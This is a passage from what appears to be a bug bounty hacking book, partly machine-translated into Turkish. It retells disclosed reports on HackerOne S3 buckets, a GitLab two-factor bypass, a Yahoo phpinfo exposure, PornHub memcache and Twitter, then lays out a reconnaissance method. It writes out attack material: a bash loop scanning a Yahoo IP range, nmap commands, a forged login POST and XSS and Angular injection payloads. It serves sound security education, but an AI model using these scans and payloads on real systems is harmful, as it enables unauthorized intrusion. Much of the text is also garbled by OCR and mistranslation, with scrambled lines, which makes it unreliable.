Ama bu fikir beni rahatsiz ediyordu. Bu yiizden yatmadan dnce senaryoyu tekrar ¢aligtirmaya karar verdim
daha fazla permiitasyon ile. Yine onlar gibi goriiniiyordu birkag¢ kova bulundu
HackerOne olmak ama hepsi reddedildi. Erisim engellendi en azindan bana sdyledi

kova vardi.

Ben Ruby senaryoyu a¢tim ve esdeger ¢agirtyordu fark Is fonksiyonu iizerine
kovalar Baska bir deyisle, onlarin okunabilir olup olmadigini gérmeye calistyordu - bilmek istedim
Bu VE eger kamuya agik olarak yazilabilirlerse .

Simdi, bir kenara, AWS, bir komut satir1 araci, aws-cli saglar. Bunu biliyorum ¢iinkii ben

bunu daha dnce kullandim, bu yiizden hizli bir sudo apt-get VM'ime aws-cli kurun ve araglar1 kullandim. Ayarladim
Onlar1 kendi AWS hesabim ile yukar1 ve gitmeye hazirdi. I¢in talimatlar bulabilirsiniz.

bu docs.aws.amazon.com/cli/latest/userguide/installing.html adresinde

Simdi, aws s3 yardim komutu S3 yardimini agar ve mevcut komutlari detaylandirir,
Bunu yazarken 6 gibi bir sey. Bunlardan biri olan mv seklinde aws s3 mv
[DOSYA] [s3: / BUCKET] . Yani benim durumumda denedim:

test.txt'ye dokunun

aws s3 mv test.txt s3: // hackerone.marketing
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Bu, AND i¢in reddedilen ilk kovalamayd: “hamle basarisiz oldu: ./test.txt
to s3: //hackerone.marketing/test.txt Arama yaparken bir istemci hatasi (AccessDenied) olustu
PutObject islemi: Erisim Engellendi. ”

Bu yiizden bir sonraki aws s3 myv test.txt s3: /hackerone.files AND BASARI! Bende var
“move: ./test.txt - s3: //hackerone.files/test.txt” mesaji

Inanilmaz! Simdi dosyay1 silmeye galistim: aws s3 rm s3: //hackerone.files/test.txt AND
tekrar, basar1!

Ama simdi kendine giiphe. Hizlica bildirmek i¢in HackerOne’a girig yaptim ve yazdigim gibi
AWS S3 kepgesinin sahipligini ger¢ekten onaylayamadigimi fark ettim
kiiresel bir ad alaninda herhangi bir kepge olusturun. Anlami, sen, okuyucu, aslinda olabilirdi

Korsan oldugum kovaya sahibim.

Onaylamadan rapor vermem gerektiginden emin degildim. Bulabilir miyim gérmek i¢in Google't aradim
kovadaki herhangi bir referansta higbir ey bulamadim. Temizlemek i¢in bilgisayardan uzaklastim
kafam. En kotii sey oldugunu diislindiim, baska bir N / A raporu ve -5 rep. Diger yandan,

Shopify giivenlik agigina gére bunun en az 500, belki de 1000 dolar oldugunu diistindim.

Uygulama Mantig1 Giivenlik Agiklari

Teslim oldum ve yataga gittim. Uyandigimda HackerOne tebrik etti

¢oktan diizelttiklerini ve bunu yaparken de birkag bagka kova gergeklestirdiklerini
Bu savunmasizdi. Basari! Ve kredilerini, 6diil aldiklarinda,

Ben bulamadim diger kovalar da dahil olmak iizere, bunun potansiyel siddeti faktorii
savunmasizdi.

cikarimlar

Bundan birden fazla paket var:

1. Yaraticiliginiz1 ve bunun olast hata potansiyelini kiiglimsemeyin.
gelistiricileri. HackerOne, miithis giivenlikten miithis bir ekip.
Arama yapan. Ancak insanlar hata yapar. Varsayimlariniza meydan okuyun.
2. {lk denemeden sonra pes etmeyin. Bunu buldugumda, her birine goz atiyordum.
kova mevcut degildi ve ben de neredeyse uzaklagiyordum. Ama sonra yazmaya galigtim
bir dosya ve ¢alisti.
3. Her sey bilgi ile ilgili. Hangi tiir giivenlik ag¢iklarinin oldugunu biliyorsaniz,
ne arayacagimi ve test edecegini biliyorsun. Bu kitabi satin almak harika bir ilk adimdi.
4. Daha once sOyledim, tekrar sdyleyecegim, bir saldir1 yiizeyi daha fazla
web sitesi, ayn1 zamanda sirketin kullandig1 hizmetler. At gozliiklerini ¢ikar.

5. GitLab Iki Faktorlii Kimlik Dogrulamanin Atlanmasi

Zorluk : Orta
URL:n/a

Rapor Baglantisi : https://hackerone.com/reports/128085s

Rapor Tarihi : 3 Nisan 2016
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Odemeli Odiil : n/a
Tanmm :

3 Nisan'da, Jobert Abma (HackerOne'un Kurucu Ortagr) GitLab'a iki kisiyle

Faktor kimlik dogrulamas: etkin, saldirgan bir kurbanin hesabina olmadan giris yapabildi

Aslinda kurbanin sifresini bilmek.

Bilinmeyenler i¢in iki faktorli kimlik dogrulama, giris yapmak i¢in iki adiml bir islemdir -
genellikle bir kullanici kullanici adi ve sifresini girer ve ardindan site bir

Yetki kodu, genellikle kullanicinin islemi bitirmek i¢in girmesi gereken e-posta veya SMS yoluyla
girig iglemi.

8 https://hackerone.com/reports/128085
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Bu durumda, Jobert oturum agma siirecinde, bir saldirganin kendisine bir kez girdigini fark etti.
kullanicr ad1 ve sifresi, girisi sonlandirmak i¢in bir belirte¢ gonderildi. Gonderirken

belirteci, POST ¢agrist benziyordu:

POST / users / sign_in HTTP / 1'de . 1

Ev sahibi : 159 . xxx . XXX . XXX

.......... 1881604860

icerik Egilimi : form verisi ; name = "user [ otp_attempt | "

212421
---------- 1881604860--

Bir saldirgan bunu ele gegirip aramaya bir kullanici ad1 eklediyse, 6rnegin:

POST / users / sign_in HTTP /1'de . 1

Ev sahibi : 159 . xxx . XXX . XXX

---------- 1881604860

fcerik Egilimi : form verisi ; name = "user [ otp_attempt | "
212421

.......... 1881604860

igerik Egilimi : form verisi ; name = "kullanici [ girig | "

---------- 1881604860--

Otp_attempt belirteci gegerliyse saldirgan John'un hesabina girig yapabilirdi
John i¢in. Bagka bir deyisle, bir saldirgan bir eklenmisse, iki asamali kimlik dogrulama sirasinda
user[login] parameter, they could change the account they were being logged into.

Now, the only caveat here was that the attacker had to have a valid OTP token for
the victim. But this is where bruteforcing would come if. If the site administrators did

not implement rate limiting, Jobert may have been able to make repeated calls to the
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regardless, the vulnerability here is pretty apparent.
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c¢ikarimlar

Two factor authentication is a tricky system to get right. When you notice a site
is using it, you’ll want to fully test out all functionality including token lifetime,
maximum number of attempts, reusing expired tokens, likelihood of guessing a
token, etc.

6. Yahoo PHP Info Disclosure

Zorluk : Orta
Url: http://nc10.n19323.mail.nel.yahoo.com/phpinfo.php

Re~-ort Link: https:/blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-
2/o

Date Disclosed: October 16, 2014
Odemeli Odiil : n/a
Tanim :

While this didn’t have a huge pay out like some of the other vulnerabilities I’ve included (it
actually paid $0 which is surprising!), this is one of my favorite reports because it helped
teach me the importance of network scanning and automation.

In October 2014, Patrik Fehrenbach (who you should remember from Hacking Pro Tips
Interview #2 - great guy!) found a Yahoo server with an accessible phpinfo() file. If you’re
not familiar with phpinfo(), it’s a sensitive command which should never be accessible in
production, let alone be publicly available, as it discloses all kinds of server information.

Now, you may be wondering how Patrik found http://nc10.n9323.mail.nel.yahoo.com
- I sure was. Turns out he pinged yahoo.com which returned 98.138.253.109. Then he
passed that to WHOIS and found out that Yahoo actually owned the following:

NetRange: 98.136.0.0 - 98.139.255.255

CIDR: 98.136.0.0/14

OriginAS:

NetName: A-YAHOO-US9

NetHandle: NET-98-136-0-0-1

Parent: NET-98-0-0-0-0

NetType: Direct Allocation

RegDate: 2007-12-07

Updated: 2012-03-02

Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1
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Notice the first line - Yahoo owns a massive block of ip addresses, from 98.136.0.0 -
98.139.255.255, or 98.136.0.0/14 which is 260,000 unique IP adresses. That’s a lot of

potential targets.

Patrik then wrote a simple bash script to look for an available phpinfo file:

#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t | -T 5 http://${ipa}/phpinfo.php; done &

Running that, he found that random Yahoo server.

c¢ikarimlar

When hacking, consider a company’s entire infrastructure fair game unless they
tell you it’s out of scope. While this report didn’t pay a bounty, I know that Patrik
has employed similar techniques to find some significant four figure payouts.

Additionally, you’ll notice there was 260,000 potential addresses here, which
would have been impossible to scan manually. When performing this type of
testing, automation is hugely important and something that should be em-

ployed.

7. HackerOne Hacktivity Voting

Zorluk : Orta

Url: https://hackerone.com/hacktivity

Report Link: https://hackereone.com/reports/13750310
Date Reported: May 10, 2016

Odemeli Odiil : Swag

Tanim :

Though technically not really a security vulnerability in this case, this report is a great
example of how to think outside of the box.

Some time in late April/early May 2016, HackerOne developed functionality for hackers
to vote on reports via their Hacktivity listing. There was an easy way and hard way to
know the functionality was available. Via the easy way, a GET call to /current_user when
logged in would include hacktivity voting_enabled: false. The hard way is a little more
interesting, where the vulnerability lies and why I’'m including this report.

10 https://hackerone.com/reports/137503
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If you visit the hacktivity and view the page source, you’ll notice it is pretty sparse, just a
few divs and no real content.

HackerOne Hacktivity Page Source

Now, if you were unfamiliar with their platform and didn’t have a plugin like wappalyzer
installed, just looking at this page source should tell you that the content is being
rendered by Javascript.

So, with that in mind, if you open the devtools in Chrome or Firefox, you can check

out the Javascript source code (in Chrome, you go to sources and on the left, top-
>hackerone.com->assets->frontend-XXX.js). Chrome devtools comes with a nice {}
pretty print button which will make minified Javascript readable. You could also use Burp
and review the response returning this Javascript file.

Herein lies the reason for inclusion, if you search the Javascript for POST you can find
a bunch of paths used by HackerOne which may not be readily apparent depending on
your permissions and what is exposed to you as content. One of which is:

Uygulama Mantig1 Giivenlik Ag¢iklari
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Hackerone Application Javascript POST Voting

As you can see, we have two paths for the voting functionality. At the time of this report,
you could actually make these calls and vote on the reports.

Now, this is one way to find the functionality - in the report, the hacker used another
method, by intercepting responses from HackerOne (presumably using a tool like Burp),
they switched attributed returned as false with true. This then exposed the voting
elements which when clicked, made the available POST and DELETE calls.

The reason why I walked you through the Javascript is because, interacting with the JSON
response may not always expose new HTML elements. As a result, navigating Javascript

may expose otherwise “hidden” endpoints to interact with.
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c¢ikarimlar

Javascript source code provides you with actual source code from a target you
can explore. This is great because your testing goes from blackbox, having no
idea what the back end is doing, to whitebox (though not entirely) where you
have insight into how code is being executed. This doesn’t mean you have to
walk through every line, the POST call in this case was found on line 20570 with
a simple search for POST.

8. Accessing PornHub’s Memcache Installation
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Zorluk : Orta

Url: stage.pornhub.com

Report Link: https://hackerone.com/reports/11987 111
Date Reported: March 1, 2016

Bounty Paid: $2500

Tanim :

Prior to their public launch, PornHub ran a private bug bounty program on HackerOne
with a broad bounty scope of *.pornhub.com which, to most hackers means all sub
domains of PornHub are fair game. The trick is now finding them.

In his blog post, Andy Gill @ZephrFishi2explains w  his is awesome, by testing the

existing of various sub domain names using a list of uvur 1 million potential names, he

discovered approximately 90 possible hacking targets.

Now, visiting all of these sites to see what’s available would take a lot of time so he
automated the process using the tool Eyewitness (included in the Tools chapter) which
takes screenshots from the URLs with valid HTTP / HTTPS pages and provides a nice
report of the sites listening on ports 80, 443, 8080 and 8443 (common HTTP and HTTPS
ports).

According to his write up, Andy slightly switched gears here and used the tool Nmap
to dig deeper in to the sub domain stage.pornhub.com. When I asked him why, he

explained, in his experience, staging and development servers are more likely to have
misconfigured security permissions than production servers. So, to start, he got the IP

of the sub domain using the command nslookup:

nslookup stage.pornhub.com

Server: 8.8.8.8

1 https://hackerone.com/reports/119871

12 http://www.twitter.com/ZephrFish
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Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com

Address: 31.192.117.70

I’ve also seen this done with the command, ping, but either way, he now had the IP
address of the sub domain and using the command sudo nmap -sSV -p- 31.192.117.70
-0A stage_ ph -T4 & he got:

Starting Nmap 6.47 (‘http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70

Host is up (0.017s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

80/tcp open http nginx
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443/tcp open http nginx

60893/tcp open memcache

Service detection performed. Please report any incorrect results at http:/nmap.org/submit/

. Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Breaking the command down:

« the flag -sSV defines the type of packet to send to the server and tells Nmap to try
and determine any service on open ports

* the -p- tells Nmap to check all 65,535 ports (by default it will only check the most
popular 1,000)

*31.192.117.70 is the IP address to scan

* -0A stage ph tells Nmap to output the findings in its three major formats at once
using the filename stage_ ph

* -T4 defines the timing for the task (options are 0-5 and higher is faster)

With regards to the result, the key thing to notice is port 60893 being open and running
what Nmap believes to be memcache. For those unfamiliar, memcache is a caching
service which uses key-value pairs to store arbitrary data. It’s typically used to help speed

up a website by service content faster. A similar service is Redis.

Finding this isn’t a vulnerability in and of itself but it is a definite redflag (though

installation guides I’ve read recommend making it inaccessible publicly as one security
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precaution). Testing it out, surprising PornHub didn’t enable any security meaning Andy
could connect to the service without a username or password via netcat, a utility program
used to read and write via a TCP or UDP network connection. After connecting, he just
ran commands to get the version, stats, etc. to confirm the connection and vulnerability.

However, a malicious attacker could have used this access to:

* Cause a denial of service (DOS) by constantly writing to and erasing the cache
thereby keeping the server busy (this depends on the site setup)

* Cause a DOS by filling the service with junk cached data, again, depending on the
service setup

* Execute cross-site scripting by injecting a malicious JS payload as valid cached data
to be served to users

* And possibly, execute a SQL injection if the memcache data was being stored in the
database

cikarimlar

Sub domains and broader network configurations represent great potential for
hacking. If you notice that a program is including *.SITE.com in it’s scope, try to
find sub domains that may be vulnerable rather than going after the low hanging
fruit on the main site which everyone maybe searching for. It’s also worth your
time to familiarize yourself with tools like Nmap, eyewitness, knockpy, etc. which
will help you follow in Andy’s shoes.
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9. Bypassing Twitter Account Protections

Zorluk : Kolay

URL : twitter.com

Rapor Baglantis1 : Yok

Date Reported: Bounty awarded October 2016
Bounty Paid: $560

Tanim :

In chatting with Karan Saini, he shared the following Twitter vulnerability with me so I
could include it and share it here. While the report isn’t disclosed (at the time of writing),
Twitter did give him permission to share the details and there’s two interesting takeaways

from his finding.

In testing the account security features of Twitter, Karan noticed that when you at-

tempted to log in to Twitter from an unrecognized IP address / browser for the first
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time, Twitter may ask you for some account validation information such as an email or

phone number associated with the account. Thus, if an attacker was able to compromise
your user name and password, they would potentially be stopped from logging into and
taking over your account based on this additional required information.

However, undeterred, after Karan created a brand new account, used a VPN and tested
the functionality on his laptop browser, he then thought to use his phone, connect to the
same VPN and log into the account. Turns out, this time, he was not prompted to enter
additional information - he had direct access to the “victim’s” account. Additionally, he
could navigate to the account settings and view the user’s email address and phone
number, thereby allowing him desktop access (if it mattered).

In response, Twitter validated and fixed the issue, awarding Karan $560.

cikarimlar

I included this example because it demonstrates two things - first, while it does
reduce the impact of the vulnerability, there are times that reporting a bug which
assumes an attacker knows a victim’s user name and password is acceptable

provided you can explain what the vulnerability is and demonstrate it’s severity.

Secondly, when testing for application logic related vulnerabilities, consider the
different ways an application could be accessed and whether security related
behaviours are consistent across platforms. In this case, it was browsers and

mobile applications but it also could include third party apps or API endpoints.

ozet

Application logic based vulnerabilities don’t necessarily always involve code. Instead,
exploiting these often requires a keen eye and more thinking outside of the box. Always
be on the lookout for other tools and services a site may be using as those represent a

new attack vector. This can include a Javascript library the site is using to render content.
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More often than not, finding these will require a proxy interceptor which will allow you
to play with values before sending them to the site you are exploring. Try changing

any values which appear related to identifying your account. This might include setting
up two different accounts so you have two sets of valid credentials that you know will
work. Also look for hidden / uncommon endpoints which could expose unintentionally
accessible functionality.

Also, be sure to consider consistency across the multiple ways the service can be ac-
cessed, such as via the desktop, third party apps, mobile applications or APIs. Protections
offered via one method may not be consistently applied across all others, thereby

creating a security issue.
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Lastly, be on the lookout for new functionality - it often represents new areas for testing!
And if/when possible, automate your testing to make better use of your time.
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21. Getting Started

This chapter has been the most difficult to write, largely because of the variety of bug
bounty programs that exist and continue to be made available. To me, there is no simple
formula for hacking but there are patterns. In this chapter, I’ve tried to articulate how I
approach a new site, including the tools that I use (all of which are included in the Tools
chapter) and what I’ve learned of others. This is all based on my experience hacking,
interviewing successful hackers, reading blogs and watching presentations from DefCon,
BSides, and other security conferences.

But before we begin, I receive a lot of emails asking me for help and guidance on how to
get started. I usually respond to those with a recommendation that, if you’re just starting
out, choose a target which you’re likely to have more success on. In other words, don’t
target Uber, Shopify, Twitter, etc. That isn’t to say you won’t be successful, but those
programs have very smart and accomplished hackers testing them daily and I think it’1l be
easier to get discouraged if that’s where you spend your time when you’re just beginning.
I know because I’ve been there. Instead, I suggest starting out with a program that has

a broad scope and doesn’t pay bounties. These programs often attract less attention
because they don’t have financial incentives. Now, I know it won’t be as rewarding when
a bug is resolved without a payment but having a couple of these under your belt will
help motivate you to keep hacking and as you improve, you’ll be invited to participate in

private programs which is where you can make some good money.

With that out of the way, let’s get started.
Information Gathering

As you know from the examples detailed previously, there’s more to hacking that just
opening a website, entering a payload and taking over a server. There are a lot of things

to consider when you’re targeting a new site, including:

» What’s the scope of the program? All sub domains of a site or specific URLs? For
example, *.twitter.com, or just www.twitter.com?

* How many IP addresses does the company own? How many servers is it running?

» What type of site is it? Software as a Service? Open source? Collaborative? Paid vs
Free?

» What technologies are they using? Python, Ruby, PHP, Java? MSQL? MySQL, Post-
gres, Microsoft SQL? Wordpress, Drupal, Rails, Django?
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These are only some of the considerations that help define where you are going to look
and how you’re going to approach the site. Familiarizing yourself with the program is a
first step. To begin, if the program is including all sub domains but hasn’t listed them,
you’re going to need to discover them. As detailed in the tools section, KnockPy is a great
tool to use for this. I recommend cloning Daniel Miessler’s SecLists GitHub repository and
using the sub domains list in the /Discover/DNS folder. The specific command would be:

knockpy domain.com -w /PATH_TO_SECLISTS/Discover/DNS/subdomains-top1mil-110000.t\

xt

This will kick off the scan and save a csv file with the results. I recommend starting that
and letting it run in the background. Next, I recommend using Jason Haddix’s (Technical
Director of Bugcrowd and Hacking ProTips #5 interviewee) enumall script, available on
GitHub under his Domain repo. This requires Recon-ng to be installed and configured but
he has setup instructions in his readme file. Using his script, we’ll actually be scrapping
Google, Bing, Baidu, etc. for sub domain names. Again, let this run in the background

and it’ll create a file with results.

Using these two tools should give us a good set of sub domains to test. However, if, after
they’re finished, you still want to exhaust all options, IPV4info.com is a great website
which lists IP addresses registered to a site and associated sub domains found on those
addresses. While it would be best to automate scrapping this, I typically will browse

this manually and look for interesting addresses as a last step during my information
gathering.

While the sub domain enumeration is happening in the background, next I typically start
working on the main site of the bug bounty program, for example, www.drchrono.com.
Previously, I would just jump into using Burp Suite and exploring the site. But, based on
Patrik Fehrenbach’s advice and awesome write ups, I now start the ZAP proxy, visit the
site and then do a Forced Browse to discover directories and files. Again, I let this run in
the background. As an aside, I’'m using ZAP because at the time of writing, I don’t have a
paid version of Burp Suite but you could just as easily use that.

Having all that running, it’s now that I actually start exploring the main site and
familiarizing myself with it. To do so, ensure you havethe Wappalyzer plug installed (it’s
available for FireFox, which I use, and Chrome). This allows us to immediately see what
technologies a site is using in the address bar. Next, I start Burp Suite and use it to proxy
all my traffic. If you are using the paid version of Burp, it’s best to start a new project for
the bounty program you’ll be working on.

At this stage, I tend to leave the defaults of Burp Suite as is and begin walking through the
site. In other words, I leave the scope completely untouched so all traffic is proxied and
included in the resulting history and site maps. This ensures that I don’t miss any HTTP
calls made while interacting with the site. During this process, I’m really just exploring
while keeping my eyes out for opportunities, including:
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The Technology Stack

What is the site developed with, what is Wappalyzer telling me? For example, is the site

using a Framework like Rails or Django? Knowing this helps me determine how I’1l be test-
ing and how the site works. For example, when working on a Rails site, CSRF tokens are
usually embedded in HTML header tags (at least for newer versions of Rails). This is help-

ful for testing CSRF across accounts. Rails also uses a design pattern for URLs which typi-
cally corresponds to /CONTENT TYPE/RECORD _ID at the most basic. Using HackerOne as
an example, if you look at reports, their URLs are www.hackerone.com/reports/12345.
Knowing this, we can try to pass record IDs we shouldn’t have access to. There’s also the
possibility that developers may have inadvertently left json paths available disclosing
information, like www.hackerone.com/reports/12345.json.

I also look to see if the site is using a front end JavaScript library which interacts with a
back end API. For example, does the site use AngularJS? If so, I know to look for Angular
Injection vulnerabilities and include the payload {{4*4}}[[5*5]] when submitting fields (I
use both because Angular can use either and until I confirm which they use, I don’t want
to miss opportunities). The reason why an API returning JSON or XML to a template is
great is because sometimes those API calls unintentionally return sensitive information
which isn’t actually rendered on the page. Seeing those calls can lead to information

disclosure vulnerabilities as mentioned regarding Rails.

Lastly, and while this bleeds into the next section, I also check the proxy to see things like
where files are being served from, such as Amazon S3, JavaScript files hosted elsewhere,

calls to third party services, etc.

Functionality Mapping

There’s really no science to this stage of my hacking but here, I’'m just trying to understand

how the site works. For example:

« I set up accounts and note what the verification emails and URLs look like, being
on the lookout for ways to reuse them or substitute other accounts.

* I note whether OAuth is being used with other services.

* Is two factor authentication available, how is it implemented - with an authenticator
app or does the site handle sending SMS codes?

* Does the site offer multiple users per account, is there a complex permissions
model?

* Is there any inter-user messaging allowed?

* Are any sensitive documents stored or allowed to be uploaded?

* Are any type of profile pictures allowed?

* Does the site allow users to enter HTML, are WYSIWYG editors used?
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These are just a few examples. During this process, I'm really just trying to understand
how the platform works and what functionality is available to be abused. I try to picture
myself as the developer and imagine what could have been implemented incorrectly or
what assumptions could have been made, prepping for actual testing. I try my best not to
start hacking right away here as it’s really easy to get distracted or caught up trying to find



XSS, CSREF, etc. vulnerabilities submitting malicious payloads everywhere. Instead, I try
to focus on understanding and finding areas that may provide higher rewards and may

not have been thought of by others. But, that said, if I find a bulk importer which accepts
XML, I’'m definitely stopping my exploration and uploading a XXE document, which leads
me into my actual testing.

Application Testing

Now that we have an understanding of how our target works, it’s time to start hacking. At
this stage, some others may use automated scanners to crawl a site, test for XSS, CSRF,
etc. but truthfully, I don’t, at least right now. As such, I’'m not going to speak to those
tools, instead focusing on what my “manual” approach looks like.

So, at this stage, [ tend to start using the site as is intended, creating content, users,

teams, etc., injecting payloads anywhere and everywhere looking for anomalies and
unexpected behaviour from the site when it returns that content. To do so, I’ll typically
add the payload <img src="x" onerror=alert(1)> to any field which will accept it, and

if | know that a templating engine (e.g., Angular) is being used, I’ll add a payload in the
same syntax, like {{4*4}}[[5*5]]. The reason I use the img tag is because it’s designed to
fail since the image x shouldn’t be found. As a result, the onerror event should execute
the JavaScript function alert. With the Angular payloads, I’m hoping to see either 16 or 25
which may indicate the possibility of passing a payload to execute JavaScript, depending

on the version of Angular.

On that note, after saving the content, I check to see how the site is rendering my content,
whether any special characters are encoded, attributes stripped, whether the XSS image
payload executes, etc. This gives me an idea of how the site handles malicious input and
gives me an idea of what to look for. I typically do not spend a lot of time doing this

or looking for such simple XSS because these vulnerabilities are usually considered low
hanging fruit and often reported quickly.

As a result, I’ll move on to my notes from the functional mapping and digging into testing
each area with particular attention being paid to the HTTP requests and responses being
sent and received. Again, this stage really depends on the functionality offered by a site.
For example, if a site hosts sensitive file uploads, I’ll test to see if the URLSs to those

files can be enumerated or accessed by an anonymous user or someone signed into a
different account. If there is a WYSIWYG, I'll try intercepting the HTTP POST request and
add additional HTML elements like images, forms, etc.
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While I’'m working through these areas, I keep an eye out for:

* The types of HTTP requests that change data have CSRF tokens and are validating
them? (CSRF)

» Whether there are any ID parameters that can be manipulated (Application Logic)

* Opportunities to repeat requests across two separate user accounts (Application
Logic)

» Any XML upload fields, typically associated with mass record imports (XXE)

» URL patterns, particularly if any URLSs include record IDs (Application Logic, HPP)

» Any URLs which have a redirect related parameter (Open Redirect)

* Any requests which echo URL parameters in the response (CRLF, XSS, Open
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Redirect)

* Server information disclosed such as versions of PHP, Apache, Nginx, etc. which
can be leveraged to find unpatched security bugs

A good example of this was my disclosed vulnerability against MoneyBird. Walking
through their functionality, I noticed that they had team based functionality and the
ability to create apps which gave access to an API. When I tested registering the app, I
noticed they were passing the business ID to the HTTP POST call. So, I tested registering
apps against teams I was a part of but should not have had permission to create apps

for. Sure enough, I was successful, the app was created and I received an above average
$100 bounty from them.

At this point, it’s best to flip back to ZAP and see what, if any, interesting files or directories
have been found via the brute forcing. You’ll want to review those findings and visit the
specific pages, especially anything which may be sensitive like .htpasswd, settings, config,
etc. files. Additionally, using Burp, you should now have a decent site map created which
can be reviewed for pages that Burp found but weren’t actually visited. And while I don’t
do this, Jason Haddix discusses it during his DefCon 23 presentation, How to Shot Web, it’s
possible to take the site maps and have Burp, and other tools, do automatic comparisons
across accounts and user permissions. This is on my list of things to do but until now,

my work has largely been manual, which takes us to the next section.
Digging Deeper

While most of this hacking has been manual, this obviously doesn’t scale well. In order
to be successful on a broader scale, it’s important to automate as much as we can. We
can start with the results from our KnockPy and enumall scans, both of which provide
us with lists of sub domains to checkout. Combining both lists, we can take the domain
names and pass them to a tool like EyeWitness. This will take screen shots from all the
sub domains listed which are available via ports like 80, 443, etc. to identify what the
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site looks like. Here we’ll be looking for sub domain take overs, accessible web panels,

continuous integration servers, etc.

We can also take our list of IPs from KnockPy and pass it to Nmap to begin looking for
open ports and vulnerable services. Remember, this is how Andy Gill made $2,500 from
PornHub, finding an open Memcache installation. Since this can take a while to run,
you’ll want to start this and let it run in the background again. The full functionality of
Nmap is beyond the scope of this book but the command would look like nmap -sSV

-0A OUTPUTFILE -T4 -iL IPS.csv. Here we are telling Nmap to scan the top 1000 most
common ports, give us the service version information for any open ports, write it to an
output file and use our csv file as a list of IPs to scan.

Going back to the program scope, it’s also possible that mobile applications may be in
scope. Testing these can often lead to finding new API endpoints vulnerable to hacking.
To do so, you’ll need to proxy your phone traffic through Burp and begin using the mobile
app. This is one way to see the HTTP calls being made and manipulate them. However,
sometimes apps will use SSL pinning, meaning it will not recognize or use the Burp SSL
certificate, so you can’t proxy the app’s traffic. Getting around this is more difficult and
beyond the scope of this book (at least at this time) but there is documentation on how

to address that and Arne Swinnen has a great presentation from BSides San Franciscoi
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https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.youtube.com/watch%3Fv%3DdsekKYNLBbc

about how he addressed this to test Instagram.

Even without that, there are mobile hacking tools which can help test apps. While I don’t
onlarla ¢ok fazla deneyime sahip (en azindan su anda), yine de kullanmak i¢in bir segenek.
Bunlarin her ikisi de i¢ginde bulunan Mobil Giivenlik Cergevesi ve JD-GUIyi igerir.

Araglar boliimiinde korsanlarin Uber’e karg1 bir dizi giivenlik a¢ig1 bulmak i¢in kullandiklar:
ve bu APL

Mobil uygulama yoksa, bazen programlarin kullanabilecegi kapsamli bir API’s1 vardir.

sayisiz gitvenlik agig1 igeren - Facebook harika bir 6rnek. Philippe Harewood

her tiirlii bilginin a¢i18a ¢ikmasina neden olan giivenlik agiklarini agiga ¢ikarmaya devam ediyor
Facebook'ta. Burada, gelistirici belgelerini siteden incelemek isteyeceksiniz ve

anormallikleri aramaya baglaym. Saglanan kapsamlari test eden giivenlik agiklar1 buldum

OAuth tarafindan bilgiye erismem gerekir (OAuth kapsamlar1 gibidir)

e-posta adresiniz gibi bir uygulamanin neye erisebilecegini tanimlayan izinler

profil bilgisi, vb.) Yapmak i¢in API kullanarak islevsellik atlamalar1 da buldum.

iicretsiz bir hesapla erismemem gereken seyler (bazilar1 igin giivenlik agi81 sayiliyor)

sirketler). Ayrica, kotii amagl bir igerigi, uygulama sirasinda bir API olarak API tizerinden test edebilirsiniz.

site, web sitesinde gonderim sirasinda yiikleri styriliyor.

Fran tarafindan sunulan sunumlara dayanarak yeni kullanmaya basladigim baska bir arag
Rosen GitRob. Bu, genel GitHub depolarini arayacak otomatik bir aragtir.

hedefler ve konfigiirasyonlar ve sifreler dahil olmak iizere hassas dosyalar1 arayim.
Ayrica, katkida bulunanlarin depolarini da tarayacaktir. Sunumlarinda Frans konusur

! https://www.youtube com/watch?v=dsekK YNLBbc
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Salesforce girig bilgilerini bir sirketin halka agik deposunda bulunan hakkinda
biiyiik bir 6deme. Ayrica kamu depolarinda Slack anahtarlarini bulma konusunda blog yazd:.
Biiyiik odiillere.

Son olarak, yine Frans tarafindan onerildigi gibi, ddeme duvarlar1 bazen kesmek i¢in olgun bir alan sunar.

ing. Bunu kendi bagima tecriibe etmeme ragmen, Frans giivenlik agiklarini buldugunu séylityor

Diger ¢ogu bilgisayar korsaninin 6deme geregi nedeniyle kaginilmas gereken ticretli islevlerde

test edilen servis i¢in. Ne kadar basarili olabileceginle konugamam

bu, ancak fiyatin diisliniildiigiinii sdyleyerek hack ederken kesfedilmesi gereken ilging bir alan gibi goriiniiyor

makul.

ozet

Bu boliimde, siirecimin neye benzedigi lizerine bir miktar 151k tutmaya yardimci olmaya galigtim.
Kendinizinkini gelistirmenize yardimci olur. Bugiine kadar, bir hedefi kesfettikten sonra en basarili oldum.
hangi islevselligi sagladigini anlamak ve bu giivenlik agig1 tiirleriyle eslestirmek

test yapmak. Ancak, arastirmaya devam ettigim alanlardan biri ve sizi cesaretlendiriyorum

ayni zamanda otomasyondur. Yapabilecek ¢ok sayida hackleme araci var

hayatinizi kolaylastiracak, Burp, ZAP, Nmap, KnockPy, vb. burada sayilanlardan birkagidir. Onun

Bunlar aklinizda tutmak i¢in iyi bir fikir

Daha derine. Sonug olarak, iste tartigmis olduklarimizin bir 6zeti:

1. Tiim alt alanlar1 (kapsam dahilindeyse) KnockPy kullanarak numaralandirin, enumall Recon-ng

komut dosyasi ve IPV4info.com


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.youtube.com/watch%3Fv%3DdsekKYNLBbc
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. roxy's1 baslatin, ana hedef sitey1 ziyaret edin ve kestetmek 1¢in bir Zorunlu Goz Atma gergeklestirin
2.ZAP '.1111&161‘ hedef siteyi zi di kesft k i¢in bir Z lu Géz A klestiri
V4

dosyalarve

3. Wappalyzer ve Burp Suite (veya ZAP) proxy ile kullanilan harita teknolojileri

N

. Tlgili islevleri dikkate alarak mevcut islevleri arastirin ve anlayin.
giivenlik acig: tiirleri
. Saglanan islevsellik ile giivenlik acig: tiirlerini esleme testine baglayin
KnockPy ve enumall taramalardan EyeWitness ve Nmap taramalarini otomatiklestirin

. Mobil uygulama giivenlik agiklarmi inceleyin

. Varsa, erisilemez islevsellik de dahil olmak tizere API katmanini test edin.
9. GitHub depolarinda GitRob ile 6zel bilgi arayim.

10. Siteye abone olun ve test edilecek ek islevler i¢cin ddeme yapin

22. Guvenlik A¢ig1 Raporlari

